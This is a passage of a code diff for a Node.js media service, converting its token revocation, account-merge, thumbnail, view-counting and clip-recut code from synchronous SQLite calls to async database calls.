p.media_id, null, now); } catch (err) { stats.lastError = err.message; } }}}stats.lastSyncAt = new Date(now).toISOString();return n;}--function start() {-- if (timer || !events.status().enabled || process.env.MEDIA_SEARCH_DOCUMENTS === 'off') return false;-- ensureSchema();-- const run = () => { try { sync(); } catch (err) { stats.lastError = err.message; } };++async function start() {++ if (timer || !(await events.status()).enabled || process.env.MEDIA_SEARCH_DOCUMENTS === 'off') return false;++ const run = async () => { try { await sync(); } catch (err) { stats.lastError = err.message; } };const first = setTimeout(run, 60 * 1000);if (first.unref) first.unref();timer = setInterval(run, SYNC_MS);@@@ -115,4 +102,4 @@ function start() {function stop() { if (timer) clearInterval(timer); timer = null; }function status() { return { ...stats }; }--module.exports = { start, stop, sync, documentFor, ensureSchema, status };++module.exports = { start, stop, sync, documentFor, status };@@@ -5,7 +5,7 @@** POST /internal/events is the endpoint of Media's Events subscription to that topic, signed with* MEDIA_INBOUND_EVENTS_SECRET (signature v2 only) and refused when it came through the proxy. A-- * delivery moves the person's cutoff (openvibe-sdk createRevocationStore: only ever forward, source++ * delivery moves the person's cutoff (openvibe-sdk createPgRevocationStore: only ever forward, source* network only); user-auth.js then refuses their older tokens, so openvibe.media's navbar shows them* signed out at once. The same endpoint takes network.subject.merged (ADR-029): a folded-in account's media objects* move to the survivor (server/subject-merge.js), and network.account.export_requested / network.account.deleted (ADR-033):@@@ -18,9 +18,11 @@ const TOPIC = 'network.user.token_valid_after';const TOPICS = [TOPIC, 'network.subject.merged', 'network.account.export_requested', 'network.account.deleted'];let store = null;function cutoffs() {-- if (!store) store = require('openvibe-sdk/auth').createRevocationStore(require('./db/database').getDb(), { table: 'token_revocations' });++ if (!store) store = require('openvibe-sdk/auth').createPgRevocationStore(require('./db/database').getDb(), { table: 'token_revocations' });return store;}++/** Read every cutoff into memory (at boot, before the app serves): isRevoked() is synchronous on every request. */++async function load() { return await cutoffs().load(); }const secrets = () => String(process.env.MEDIA_INBOUND_EVENTS_SECRET || '').split(',').map((s) => s.trim()).filter((s) => s.length >= 32);const stats = { received: 0, revoked: 0, refused: 0 };@@@ -28,7 +30,7 @@ function isRevoked(claims) { try { return cutoffs().isRevoked(claims); } catch {function handler() {const { parseDelivery } = require('openvibe-sdk/events');-- return [express.raw({ type: () => true, limit: '256kb' }), (req, res) => {++ return [express.raw({ type: () => true, limit: '256kb' }), async (req, res) => {if (req.headers['x-forwarded-for'] || req.headers['x-real-ip'] || req.headers['cf-connecting-ip']) return res.status(404).json({ error: 'Not found' });const keys = secrets();if (!keys.length) return res.status(503).json({ error: 'MEDIA_INBOUND_EVENTS_SECRET is not set' });@@@ -42,7 +44,13 @@ function handler() {return require('./account-data').apply(d.event).then((outcome) => res.json({ event_id: d.event.event_id || null, outcome }),(e) => { console.error(`[AccountData] ${d.event.event_type} failed:`, e.message); res.status(500).json({ error: 'not applied' }); });}-- const outcome = d.event.event_type === 'network.subject.merged' ? require('./subject-merge').apply(d.event) : cutoffs().apply(d.event);++ let outcome;++ try {++ outcome = d.event.event_type === 'network.subject.merged' ? await require('./subject-merge').apply(d.event) : await cutoffs().apply(d.event);++ } catch (e) {++ console.error(`[Revocations] ${d.event.event_type} failed:`, e.message);++ return res.status(500).json({ error: 'not applied' });++ }if (outcome === 'revoked') stats.revoked++;res.json({ event_id: d.event.event_id || null, outcome });}];@@@ -77,4 +85,4 @@ async function ensureSubscription({ fetchImpl = globalThis.fetch, log = consolereturn created ? 'created' : 'exists';}--module.exports = { handler, ensureSubscription, isRevoked, stats, TOPIC, TOPICS, _cutoffs: cutoffs };++module.exports = { handler, ensureSubscription, isRevoked, load, stats, TOPIC, TOPICS, _cutoffs: cutoffs };@@@ -9,30 +9,20 @@ const SUBJECT_RE = /^usr_[0-9A-HJKMNP-TV-Z]{26}$/;const MERGE_RE = /^mrg_[0-9A-HJKMNP-TV-Z]{26}$/;const TOPIC = 'network.subject.merged';--function ensureSchema(db) {-- db.exec(`CREATE TABLE IF NOT EXISTS subject_merges (-- merge_id TEXT PRIMARY KEY,-- from_subject TEXT NOT NULL,-- into_subject TEXT NOT NULL,-- objects INTEGER NOT NULL DEFAULT 0,-- applied_at TEXT NOT NULL DEFAULT (strftime('%Y-%m-%dT%H:%M:%fZ', 'now'))-- )`);--}/** One envelope → 'merged' | 'unchanged' | 'ignored:<why>'. */--function apply(ev, { db = require('./db/database').getDb() } = {}) {++async function apply(ev, { db = require('./db/database').getDb() } = {}) {if (!ev || ev.event_type !== TOPIC) return 'ignored:type';if (ev.source !== 'network') return 'ignored:source';const p = ev.payload && typeof ev.payload === 'object' ? ev.payload : {};if (!MERGE_RE.test(String(p.merge_id || '')) || !SUBJECT_RE.test(String(p.from || '')) || !SUBJECT_RE.test(String(p.into || '')) || p.from === p.into) return 'ignored:payload';-- ensureSchema(db);-- return db.transaction(() => {-- if (db.prepare('SELECT 1 FROM subject_merges WHERE merge_id = ?').get(p.merge_id)) return 'unchanged';-- const objects = db.prepare('UPDATE media_objects SET owner_subject = ? WHERE owner_subject = ?').run(p.into, p.from).changes;-- db.prepare('INSERT INTO subject_merges (merge_id, from_subject, into_subject, objects) VALUES (?, ?, ?, ?)').run(p.merge_id, p.from, p.into, objects);++ return await db.tx(async () => {++ if (await db.prepare('SELECT 1 FROM subject_merges WHERE merge_id = ?').get(p.merge_id)) return 'unchanged';++ const objects = (await db.prepare('UPDATE media_objects SET owner_subject = ? WHERE owner_subject = ?').run(p.into, p.from)).changes;++ await db.prepare('INSERT INTO subject_merges (merge_id, from_subject, into_subject, objects) VALUES (?, ?, ?, ?)').run(p.merge_id, p.from, p.into, objects);console.log(`[Merge] ${p.merge_id}: ${objects} object(s) now owned by the survivor`);return 'merged';-- })();++ });}--module.exports = { apply, ensureSchema, TOPIC };++module.exports = { apply, TOPIC };@@@ -132,7 +132,7 @@ function _extractFrame(file, seekSeconds, width) {}async function _grab(appId, managedStreamId, width) {-- const vod = db.get(++ const vod = await db.get(`SELECT file_path FROM vodsWHERE app_id = ? AND managed_stream_id = ? AND is_recording = 1ORDER BY id DESC LIMIT 1`,@@@ -58,7 +58,7 @@ router.post('/:kind/:id', tenantAuth({ allowUser: true }), upload.single('thumbn}const numId = parseInt(id, 10);-- const row = kind === 'vod' ? db.getVodById(numId, req.appId) : db.getClipById(numId, req.appId);++ const row = kind === 'vod' ? await db.getVodById(numId, req.appId) : await db.getClipById(numId, req.appId);if (!row) return res.status(404).json({ error: `${kind} not found` });// Acting for one of the app's users (X-OV-User-Id): only that user's own VOD or clip. Someone// else's private one answers as a missing one would; anything else 403.@@@ -77,14 +77,14 @@ router.post('/:kind/:id', tenantAuth({ allowUser: true }), upload.single('thumbnfs.writeFileSync(path.join(thumbService.THUMB_DIR, filename), buffer);const url = `/t/${filename}`;const table = kind === 'vod' ? 'vods' : 'clips';-- db.withObject(kind, numId, () => db.run(`UPDATE ${table} SET thumbnail_url = ? WHERE id = ?`, [url, numId])); // row + objects together++ await db.withObject(kind, numId, async () => await db.run(`UPDATE ${table} SET thumbnail_url = ? WHERE id = ?`, [url, numId])); // row + objects togetherreturn res.json({ url });}// Generate from the media file (local or presigned remote) as a thumbnail.regenerate job.const queue = require('../jobs/queue');const worker = require('../jobs/worker');-- const r = queue.enqueue({++ const r = await queue.enqueue({appId: req.appId, type: 'thumbnail.regenerate', objectId: row.object_id || null, params: { kind, id: numId },dedupeActive: true, maxAttempts: 1, createdBy: `app:${req.appId}${req.authType === 'user' ? `:user:${req.userId}` : ''}`,ownerUserId: req.authType === 'user' ? req.userId : null,@@@ -190,13 +190,13 @@ function generateFromVideo(videoPath, prefix, entityId, opts = {}) {async function generateVodThumbnail(vodId, filePath, opts = {}) {const isRecording = opts.liveEdge != null? !!opts.liveEdge-- : !!db.get('SELECT is_recording FROM vods WHERE id = ?', [vodId])?.is_recording;++ : !!(await db.get('SELECT is_recording FROM vods WHERE id = ?', [vodId]))?.is_recording;const thumbUrl = await generateFromVideo(filePath, 'vod', vodId,isRecording ? { liveEdge: true } : { seekPercent: 10 });if (thumbUrl) {-- const old = db.get('SELECT thumbnail_url FROM vods WHERE id = ?', [vodId])?.thumbnail_url;++ const old = (await db.get('SELECT thumbnail_url FROM vods WHERE id = ?', [vodId]))?.thumbnail_url;// The row and its objects (the VOD's, and the thumbnail object that follows the picture) together.-- db.withObject('vod', vodId, () => db.run('UPDATE vods SET thumbnail_url = ? WHERE id = ?', [thumbUrl, vodId]));++ await db.withObject('vod', vodId, async () => await db.run('UPDATE vods SET thumbnail_url = ? WHERE id = ?', [thumbUrl, vodId]));_removeOldThumb(old, thumbUrl); // the previous picture goes once nothing names it}return thumbUrl;@@@ -206,8 +206,8 @@ async function generateVodThumbnail(vodId, filePath, opts = {}) {async function generateClipThumbnail(clipId, filePath) {const thumbUrl = await generateFromVideo(filePath, 'clip', clipId, { seekSeconds: 0.5 });if (thumbUrl) {-- const old = db.get('SELECT thumbnail_url FROM clips WHERE id = ?', [clipId])?.thumbnail_url;-- db.withObject('clip', clipId, () => db.run('UPDATE clips SET thumbnail_url = ? WHERE id = ?', [thumbUrl, clipId]));++ const old = (await db.get('SELECT thumbnail_url FROM clips WHERE id = ?', [clipId]))?.thumbnail_url;++ await db.withObject('clip', clipId, async () => await db.run('UPDATE clips SET thumbnail_url = ? WHERE id = ?', [thumbUrl, clipId]));_removeOldThumb(old, thumbUrl);}return thumbUrl;@@@ -16,31 +16,31 @@ const views = require('./service');const router = express.Router({ mergeParams: true });--function ownerOf(type, id) {++async function ownerOf(type, id) {const t = views.TABLES[type]; if (!t) return null;-- try { const r = db.get(`SELECT user_id FROM ${t.table} WHERE id = ?`, [id]); return r ? r.user_id : null; } catch { return null; }++ try { const r = await db.get(`SELECT user_id FROM ${t.table} WHERE id = ?`, [id]); return r ? r.user_id : null; } catch { return null; }}--router.post('/', tenantAuth(), (req, res) => {++router.post('/', tenantAuth(), async (req, res) => {const body = req.body || {};const type = String(body.type || '');const id = parseInt(body.id, 10);if (!views.TABLES[type] || !id) return res.status(400).json({ error: 'type (vod|clip|paste|file) and id required' });// Deletion/tenancy guard: only the owning app may count views on its content.const t = views.TABLES[type];-- const row = db.get(`SELECT app_id, user_id FROM ${t.table} WHERE id = ?`, [id]);++ const row = await db.get(`SELECT app_id, user_id FROM ${t.table} WHERE id = ?`, [id]);if (!row) return res.status(404).json({ error: 'Not found' });if (row.app_id && row.app_id !== req.appId) return res.status(403).json({ error: 'Not your content' });const userId = body.user_id != null ? body.user_id : (req.userId != null ? req.userId : null);-- const out = views.recordView(type, id, { req, ip: body.ip || undefined, userId, ownerUserId: row.user_id, userAgent: body.user_agent || undefined });++ const out = await views.recordView(type, id, { req, ip: body.ip || undefined, userId, ownerUserId: row.user_id, userAgent: body.user_agent || undefined });res.json(out);});--router.get('/', tenantAuth({ allowUser: true }), (req, res) => {++router.get('/', tenantAuth({ allowUser: true }), async (req, res) => {const type = String(req.query.type || '');if (!views.TABLES[type]) return res.status(400).json({ error: 'type required' });const ids = String(req.query.ids || '').split(',').map(x => parseInt(x, 10)).filter(n => Number.isInteger(n) && n > 0).slice(0, 200);-- res.json({ type, counts: views.countsMany(type, ids) });++ res.json({ type, counts: await views.countsMany(type, ids) });});module.exports = router;@@@ -22,81 +22,35 @@ const TABLES = { vod: { table: 'vods', raw: 'view_count' }, clip: { table: 'clipconst BOT_UA = /bot|crawl|spider|slurp|facebookexternalhit|preview|discordbot|twitterbot|whatsapp|telegram|curl\/|wget\/|python-requests|go-http-client|headless/i;let _secret = null;--function secret() {++async function secret() {if (_secret) return _secret;_secret = process.env.VIEW_HASH_SECRET || process.env.MEDIA_SECRET || process.env.INTERNAL_API_KEY || '';if (!_secret) {// Persist a random secret so visitor hashes stay stable across restarts.try {-- const row = db.get("SELECT value FROM media_settings WHERE key = 'view_hash_secret'");++ const row = await db.get("SELECT value FROM media_settings WHERE key = 'view_hash_secret'");if (row && row.value) _secret = row.value;-- else { _secret = crypto.randomBytes(24).toString('hex'); db.run("INSERT OR REPLACE INTO media_settings (key, value, description, type) VALUES ('view_hash_secret', ?, 'Internal: salt for hashed visitor ids (do not share)', 'string')", [_secret]); }++ else { _secret = crypto.randomBytes(24).toString('hex'); await db.run("INSERT INTO media_settings (key, value, description, type) VALUES ('view_hash_secret', ?, 'Internal: salt for hashed visitor ids (do not share)', 'string') ON CONFLICT (key) DO UPDATE SET value = excluded.value, description = excluded.description, type = excluded.type, updated_at = ov_now()", [_secret]); }} catch { _secret = 'openvibe-media'; }}return _secret;}--function cooldownSec() { const v = parseInt(db.getSetting('view_cooldown_sec'), 10); return Number.isFinite(v) && v >= 0 ? v : 6 * 3600; }--function rateLimitPerMin() { const v = parseInt(db.getSetting('view_ip_events_per_min'), 10); return Number.isFinite(v) && v > 0 ? v : 60; }++async function cooldownSec() { const v = parseInt(await db.getSetting('view_cooldown_sec'), 10); return Number.isFinite(v) && v >= 0 ? v : 6 * 3600; }++async function rateLimitPerMin() { const v = parseInt(await db.getSetting('view_ip_events_per_min'), 10); return Number.isFinite(v) && v > 0 ? v : 60; }--function ensureSchema() {-- db.getDb().exec(`-- CREATE TABLE IF NOT EXISTS content_visits (-- content_type TEXT NOT NULL, -- vod | clip | paste | file-- content_id INTEGER NOT NULL,-- visitor TEXT NOT NULL, -- 'u:<userId>' or 'ip:<hmac>'-- first_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- last_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- visits INTEGER DEFAULT 1,-- PRIMARY KEY (content_type, content_id, visitor)-- );-- CREATE INDEX IF NOT EXISTS idx_content_visits_item ON content_visits(content_type, content_id);-- CREATE INDEX IF NOT EXISTS idx_content_visits_last ON content_visits(last_at);-- `);-- for (const [, t] of Object.entries(TABLES)) {-- try {-- const cols = db.getDb().prepare(`PRAGMA table_info(${t.table})`).all().map(c => c.name);-- if (!cols.length) continue; // table absent in this deployment-- if (!cols.includes('unique_views')) db.getDb().exec(`ALTER TABLE ${t.table} ADD COLUMN unique_views INTEGER DEFAULT 0`);-- if (!cols.includes(t.raw)) db.getDb().exec(`ALTER TABLE ${t.table} ADD COLUMN ${t.raw} INTEGER DEFAULT 0`);-- } catch (e) { console.warn(`[Views] ${t.table} columns:`, e.message); }-- }-- // One-time import of the legacy unique-IP table (raw IPs → hashed visitors) so existing-- // counts survive; view_count on vods/clips already equals the unique count, so seed-- // unique_views from it and leave view_count as the (identical) starting point.-- try {-- const done = db.get("SELECT value FROM media_settings WHERE key = 'views_migrated_v2'");-- if (!done) {-- const rows = db.all('SELECT content_type, content_id, ip, created_at FROM content_views');-- const ins = db.getDb().prepare('INSERT OR IGNORE INTO content_visits (content_type, content_id, visitor, first_at, last_at, visits) VALUES (?, ?, ?, ?, ?, 1)');-- const tx = db.getDb().transaction(() => { for (const r of rows) ins.run(r.content_type, r.content_id, visitorForIp(r.ip), r.created_at, r.created_at); });-- tx();-- db.run('UPDATE vods SET unique_views = (SELECT COUNT(*) FROM content_visits v WHERE v.content_type = \'vod\' AND v.content_id = vods.id)');-- db.run('UPDATE clips SET unique_views = (SELECT COUNT(*) FROM content_visits v WHERE v.content_type = \'clip\' AND v.content_id = clips.id)');-- db.run('UPDATE vods SET view_count = MAX(COALESCE(view_count,0), unique_views)');-- db.run('UPDATE clips SET view_count = MAX(COALESCE(view_count,0), unique_views)');-- db.run("INSERT OR REPLACE INTO media_settings (key, value, description, type) VALUES ('views_migrated_v2', '1', 'Internal: legacy content_views imported', 'boolean')");-- console.log(`[Views] imported ${rows.length} legacy unique-view row(s)`);-- }-- } catch (e) { console.warn('[Views] legacy import:', e.message); }-- try {-- const seed = db.getDb().prepare('INSERT OR IGNORE INTO media_settings (key, value, description, type) VALUES (?, ?, ?, ?)');-- seed.run('view_cooldown_sec', '21600', 'A visitor counts as a new view of the same item only after this many seconds (anti refresh-spam). 0 = every visit', 'number');-- seed.run('view_ip_events_per_min', '60', 'Drop view events from an IP that fires more than this many per minute (across all content)', 'number');-- } catch { /* */ }--}// req.ip under 'trust proxy' = loopback (server/client-ip.js): the forwarding headers count only// when the local proxy sent them, so a direct caller cannot pose as many visitors.const { clientIp } = require('../client-ip');--function visitorForIp(ip) { return 'ip:' + crypto.createHmac('sha256', secret()).update(String(ip || 'unknown')).digest('hex').slice(0, 24); }++async function visitorForIp(ip) { return 'ip:' + crypto.createHmac('sha256', await secret()).update(String(ip || 'unknown')).digest('hex').slice(0, 24); }// Per-IP event budget (sliding minute), in memory — protects the DB from a spammer, not a metric.const _ipEvents = new Map(); // ip → [timestamps]--function _overBudget(ip) {++async function _overBudget(ip) {const now = Date.now(); const cut = now - 60000;let arr = _ipEvents.get(ip) || [];arr = arr.filter(t => t > cut);-- if (arr.length >= rateLimitPerMin()) { _ipEvents.set(ip, arr); return true; }++ if (arr.length >= await rateLimitPerMin()) { _ipEvents.set(ip, arr); return true; }arr.push(now); _ipEvents.set(ip, arr);if (_ipEvents.size > 5000) for (const [k, v] of _ipEvents) if (!v.some(t => t > cut)) _ipEvents.delete(k);return false;@@@ -109,7 +63,7 @@ function _overBudget(ip) {* @param {object} o { req?, ip?, userId?, ownerUserId?, userAgent? }* @returns {{ counted:boolean, unique:boolean, reason?:string, view_count?:number, unique_views?:number }}*/--function recordView(type, id, o = {}) {++async function recordView(type, id, o = {}) {const t = TABLES[type];if (!t || !id) return { counted: false, unique: false, reason: 'bad-type' };const req = o.req || null;@@@ -118,35 +72,35 @@ function recordView(type, id, o = {}) {const userId = o.userId != null ? o.userId : (req && req.userId != null ? req.userId : null);if (userId != null && o.ownerUserId != null && String(userId) === String(o.ownerUserId)) return { counted: false, unique: false, reason: 'owner' };if (BOT_UA.test(ua)) return { counted: false, unique: false, reason: 'bot' };-- if (_overBudget(ip)) return { counted: false, unique: false, reason: 'rate-limited' };-- const visitor = userId != null ? `u:${userId}` : visitorForIp(ip);-- const cd = cooldownSec();++ if (await _overBudget(ip)) return { counted: false, unique: false, reason: 'rate-limited' };++ const visitor = userId != null ? `u:${userId}` : await visitorForIp(ip);++ const cd = await cooldownSec();try {-- const row = db.get('SELECT last_at, visits FROM content_visits WHERE content_type = ? AND content_id = ? AND visitor = ?', [type, id, visitor]);++ const row = await db.get('SELECT last_at, visits FROM content_visits WHERE content_type = ? AND content_id = ? AND visitor = ?', [type, id, visitor]);if (!row) {-- db.run('INSERT OR IGNORE INTO content_visits (content_type, content_id, visitor) VALUES (?, ?, ?)', [type, id, visitor]);-- db.run(`UPDATE ${t.table} SET ${t.raw} = COALESCE(${t.raw},0) + 1, unique_views = COALESCE(unique_views,0) + 1 WHERE id = ?`, [id]);-- return { counted: true, unique: true, ...counts(type, id) };++ await db.run('INSERT INTO content_visits (content_type, content_id, visitor) VALUES (?, ?, ?) ON CONFLICT DO NOTHING', [type, id, visitor]);++ await db.run(`UPDATE ${t.table} SET ${t.raw} = COALESCE(${t.raw},0) + 1, unique_views = COALESCE(unique_views,0) + 1 WHERE id = ?`, [id]);++ return { counted: true, unique: true, ...await counts(type, id) };}const lastMs = new Date(String(row.last_at).replace(' ', 'T') + 'Z').getTime();-- if (cd > 0 && Date.now() - lastMs < cd * 1000) return { counted: false, unique: false, reason: 'cooldown', ...counts(type, id) };-- db.run('UPDATE content_visits SET last_at = CURRENT_TIMESTAMP, visits = visits + 1 WHERE content_type = ? AND content_id = ? AND visitor = ?', [type, id, visitor]);-- db.run(`UPDATE ${t.table} SET ${t.raw} = COALESCE(${t.raw},0) + 1 WHERE id = ?`, [id]);-- return { counted: true, unique: false, ...counts(type, id) };++ if (cd > 0 && Date.now() - lastMs < cd * 1000) return { counted: false, unique: false, reason: 'cooldown', ...await counts(type, id) };++ await db.run('UPDATE content_visits SET last_at = ov_now(), visits = visits + 1 WHERE content_type = ? AND content_id = ? AND visitor = ?', [type, id, visitor]);++ await db.run(`UPDATE ${t.table} SET ${t.raw} = COALESCE(${t.raw},0) + 1 WHERE id = ?`, [id]);++ return { counted: true, unique: false, ...await counts(type, id) };} catch (e) {console.warn('[Views] record failed:', e.message);return { counted: false, unique: false, reason: 'error' };}}--function counts(type, id) {++async function counts(type, id) {const t = TABLES[type]; if (!t) return {};-- const r = db.get(`SELECT COALESCE(${t.raw},0) AS view_count, COALESCE(unique_views,0) AS unique_views FROM ${t.table} WHERE id = ?`, [id]);++ const r = await db.get(`SELECT COALESCE(${t.raw},0) AS view_count, COALESCE(unique_views,0) AS unique_views FROM ${t.table} WHERE id = ?`, [id]);return r || { view_count: 0, unique_views: 0 };}--function countsMany(type, ids) {++async function countsMany(type, ids) {const t = TABLES[type]; if (!t || !ids.length) return {};-- const rows = db.all(`SELECT id, COALESCE(${t.raw},0) AS view_count, COALESCE(unique_views,0) AS unique_views FROM ${t.table} WHERE id IN (${ids.map(() => '?').join(',')})`, ids);++ const rows = await db.all(`SELECT id, COALESCE(${t.raw},0) AS view_count, COALESCE(unique_views,0) AS unique_views FROM ${t.table} WHERE id IN (${ids.map(() => '?').join(',')})`, ids);const out = {}; for (const r of rows) out[r.id] = { view_count: r.view_count, unique_views: r.unique_views };return out;}@@@ -159,8 +113,8 @@ function isInitialPlaybackRequest(req) {}/** Old visit rows are only needed for the cooldown; keep the table small (uniques stay in the counters). */--function prune(days = 30) {-- try { return db.run("DELETE FROM content_visits WHERE last_at < datetime('now', ?)", [`-${days} days`]).changes; } catch { return 0; }++async function prune(days = 30) {++ try { return (await db.run("DELETE FROM content_visits WHERE last_at < datetime('now', ?)", [`-${days} days`])).changes; } catch { return 0; }}--module.exports = { ensureSchema, recordView, counts, countsMany, isInitialPlaybackRequest, clientIp, prune, TABLES };++module.exports = { recordView, counts, countsMany, isInitialPlaybackRequest, clientIp, prune, TABLES };@@@ -151,7 +151,7 @@ async function cutClip(o) {if (!cut.ok) return null;const ss = Math.max(0, Number(startTime) || 0);-- const res = db.createClip({++ const res = await db.createClip({app_id: appId, vod_id: vodId, stream_id: streamId, user_id: userId,title: (title || 'Auto Clip').slice(0, 200), description: description || '',file_path: cut.filePath, start_time: ss, end_time: ss + cut.duration, duration_seconds: cut.duration,@@@ -161,7 +161,7 @@ async function cutClip(o) {});const clipId = res && res.lastInsertRowid;if (!clipId) return null;-- const clip = db.getClipById(clipId);++ const clip = await db.getClipById(clipId);try { require('../thumbnails/thumbnail-service').generateClipThumbnail(clipId, cut.filePath).catch(() => {}); } catch { /* */ }return clip;}@@@ -35,7 +35,7 @@ let _timer = null, _busy = false;function freeBytes() {try { const st = fs.statfsSync(path.resolve(config.vod.path)); return Number(st.bavail) * Number(st.bsize); } catch { return 0; }}--function _clipPublic(clip) { try { return require('./clips-routes').clipPublic(clip); } catch { return clip; } }++async function _clipPublic(clip) { try { return await require('./clips-routes').clipPublic(clip); } catch { return clip; } }const RECUT_CAP_MS = 30 * 60 * 1000; // one clip can never hold the queue longer than this@@@ -46,24 +46,24 @@ async function recutClip(clipId, opts = {}) {const result = await Promise.race([_recutClip(clipId, opts), cap]);clearTimeout(timer);if (result && result.capped) {-- const clip = db.getClipById(clipId);-- if (clip && clip.status === 'processing') return fail(clipId, clip, Number(clip.cut_attempts) || 1, `gave up after ${Math.round(RECUT_CAP_MS / 60000)} min (hung download or cut)`);++ const clip = await db.getClipById(clipId);++ if (clip && clip.status === 'processing') return await fail(clipId, clip, Number(clip.cut_attempts) || 1, `gave up after ${Math.round(RECUT_CAP_MS / 60000)} min (hung download or cut)`);}return result;}async function _recutClip(clipId, { reason = 'recut', viaJob = false } = {}) {-- const clip = db.getClipById(clipId);++ const clip = await db.getClipById(clipId);if (!clip) return { ok: false, error: 'Clip not found' };if (!clip.vod_id) return { ok: false, error: 'Clip has no source VOD' };-- const vod = db.get('SELECT * FROM vods WHERE id = ?', [clip.vod_id]);++ const vod = await db.get('SELECT * FROM vods WHERE id = ?', [clip.vod_id]);if (!vod) {-- objects().withObject('clip', clipId, () => db.run("UPDATE clips SET status = 'failed', cut_error = ?, cut_next_at = NULL WHERE id = ?", ['Source VOD no longer exists', clipId]));++ await objects().withObject('clip', clipId, async () => await db.run("UPDATE clips SET status = 'failed', cut_error = ?, cut_next_at = NULL WHERE id = ?", ['Source VOD no longer exists', clipId]));return { ok: false, error: 'Source VOD no longer exists' };}const attempt = (Number(clip.cut_attempts) || 0) + 1;// Row and object (back to uploading) together.-- objects().withObject('clip', clipId, () => db.run("UPDATE clips SET status = 'processing', cut_attempts = ?, cut_next_at = NULL WHERE id = ?", [attempt, clipId]));++ await objects().withObject('clip', clipId, async () => await db.run("UPDATE clips SET status = 'processing', cut_attempts = ?, cut_next_at = NULL WHERE id = ?", [attempt, clipId]));// Attempt 2+: bring a cloud-stored VOD home first when the disk can take it.let source = await vodStorage.resolveMediaSource(vod);@@@ -72,32 +72,32 @@ async function _recutClip(clipId, { reason = 'recut', viaJob = false } = {}) {if (need && freeBytes() > need) {console.log(`[Clips] clip ${clipId}: pulling vod ${vod.id} (${(vod.file_size / 1048576).toFixed(0)} MB) back to local disk for a reliable cut`);const r = await vodStorage.moveToHot(vod.id, { trigger: 'clip', reason: `fetched to local disk to cut clip ${clipId}` }).catch(e => ({ ok: false, error: e.message }));-- if (r && r.ok) source = await vodStorage.resolveMediaSource(db.get('SELECT * FROM vods WHERE id = ?', [vod.id]));++ if (r && r.ok) source = await vodStorage.resolveMediaSource(await db.get('SELECT * FROM vods WHERE id = ?', [vod.id]));else console.warn(`[Clips] clip ${clipId}: hot fetch ${r && r.held ? 'refused (the VOD is under a retention hold, its placement stays)' : `failed: ${r && r.error}`} — cutting from the cloud copy`);} else {console.log(`[Clips] clip ${clipId}: not enough free disk to pull vod ${vod.id} home — cutting from the cloud copy`);}}-- if (!source) return fail(clipId, clip, attempt, 'VOD media unavailable (not on disk and no cloud copy)', { viaJob });++ if (!source) return await fail(clipId, clip, attempt, 'VOD media unavailable (not on disk and no cloud copy)', { viaJob });const startTime = Number(clip.start_time) || 0;const duration = Math.max(1, (Number(clip.end_time) || 0) - startTime);const cut = await cutter.cutClipFile({ source: source.value, startTime, duration });-- if (!cut.ok) return fail(clipId, clip, attempt, cut.error, { viaJob });++ if (!cut.ok) return await fail(clipId, clip, attempt, cut.error, { viaJob });// Thumbnail first (the clip.ready payload carries it), then the ready transition, the clip's// object and its event in one transaction (webhooks.announce), then the webhook.try { await require('../thumbnails/thumbnail-service').generateClipThumbnail(clipId, cut.filePath); } catch { /* */ }-- announce(clip.app_id, 'clip.ready', {-- change: () => objects().withObject('clip', clipId, () => db.run("UPDATE clips SET file_path = ?, duration_seconds = ?, end_time = ?, status = 'ready', cut_error = NULL, cut_next_at = NULL WHERE id = ?",++ await announce(clip.app_id, 'clip.ready', {++ change: async () => await objects().withObject('clip', clipId, async () => await db.run("UPDATE clips SET file_path = ?, duration_seconds = ?, end_time = ?, status = 'ready', cut_error = NULL, cut_next_at = NULL WHERE id = ?",[cut.filePath, cut.duration, startTime + cut.duration, clipId])),-- payload: () => _clipPublic(db.getClipById(clipId)),++ payload: async () => await _clipPublic(await db.getClipById(clipId)),});console.log(`[Clips] Clip ${clipId} ${reason} OK from vod ${clip.vod_id} (${startTime.toFixed(1)}-${(startTime + cut.duration).toFixed(1)}s, attempt ${attempt})`);return { ok: true, duration_seconds: cut.duration };}/** A failed attempt. Under a job the queue schedules the retry, so nothing is left for the sweeper. */--function fail(clipId, clip, attempt, error, { viaJob = false } = {}) {++async function fail(clipId, clip, attempt, error, { viaJob = false } = {}) {const msg = String(error || 'cut failed').slice(0, 500);// Nothing to retry when the source itself has no footage there (empty recording, window// past the end of what was captured): give up now instead of burning the whole ladder.@@@ -105,9 +105,9 @@ function fail(clipId, clip, attempt, error, { viaJob = false } = {}) {const more = !viaJob && attempt < MAX_ATTEMPTS && !hopeless;const mins = BACKOFF_MIN[Math.min(attempt - 1, BACKOFF_MIN.length - 1)];const nextAt = more ? new Date(Date.now() + mins * 60000).toISOString().replace('T', ' ').slice(0, 19) : null;-- announce(clip.app_id, 'clip.failed', {-- change: () => objects().withObject('clip', clipId, () => db.run("UPDATE clips SET status = 'failed', cut_error = ?, cut_next_at = ? WHERE id = ?", [msg, nextAt, clipId])),-- payload: () => _clipPublic(db.getClipById(clipId)),++ await announce(clip.app_id, 'clip.failed', {++ change: async () => await objects().withObject('clip', clipId, async () => await db.run("UPDATE clips SET status = 'failed', cut_error = ?, cut_next_at = ? WHERE id = ?", [msg, nextAt, clipId])),++ payload: async () => await _clipPublic(await db.getClipById(clipId)),});console.warn(`[Clips] Clip ${clipId} attempt ${attempt}/${MAX_ATTEMPTS} failed: ${msg}${viaJob ? (hopeless ? ' — giving up' : ' — the job retries') : more ? ` — retry in ${mins} min` : ' — giving up'}`);return { ok: false, error: msg, retry_at: nextAt, hopeless };@@@ -117,8 +117,8 @@ async function sweep() {if (_busy) return;_busy = true;try {-- const due = db.all(`SELECT id FROM clips WHERE status = 'failed' AND vod_id IS NOT NULL-- AND COALESCE(cut_attempts, 0) < ? AND (cut_next_at IS NULL OR cut_next_at <= CURRENT_TIMESTAMP)++ const due = await db.all(`SELECT id FROM clips WHERE status = 'failed' AND vod_id IS NOT NULL++ AND COALESCE(cut_attempts, 0) < ? AND (cut_next_at IS NULL OR cut_next_at <= ov_now())AND created_at >= datetime('now', '-30 days')AND NOT EXISTS (SELECT 1 FROM media_jobs j WHERE j.job_type = 'clip.cut' AND j.app_id = clips.app_id AND CAST(json_extract(j.params, '$.clip_id') AS INTEGER) = clips.id)ORDER BY created_at DESC LIMIT 4`, [MAX_ATTEMPTS]) || [];@@@ -126,15 +126,15 @@ async function sweep() {} finally { _busy = false; }}--function start() {++async function start() {if (_timer) return;try { vodStorage.cleanupStaleDownloads(); } catch { /* */ }// Anything left 'processing' by a crash/restart is really failed — queue it for a retry. The rows// and their objects (uploading -> 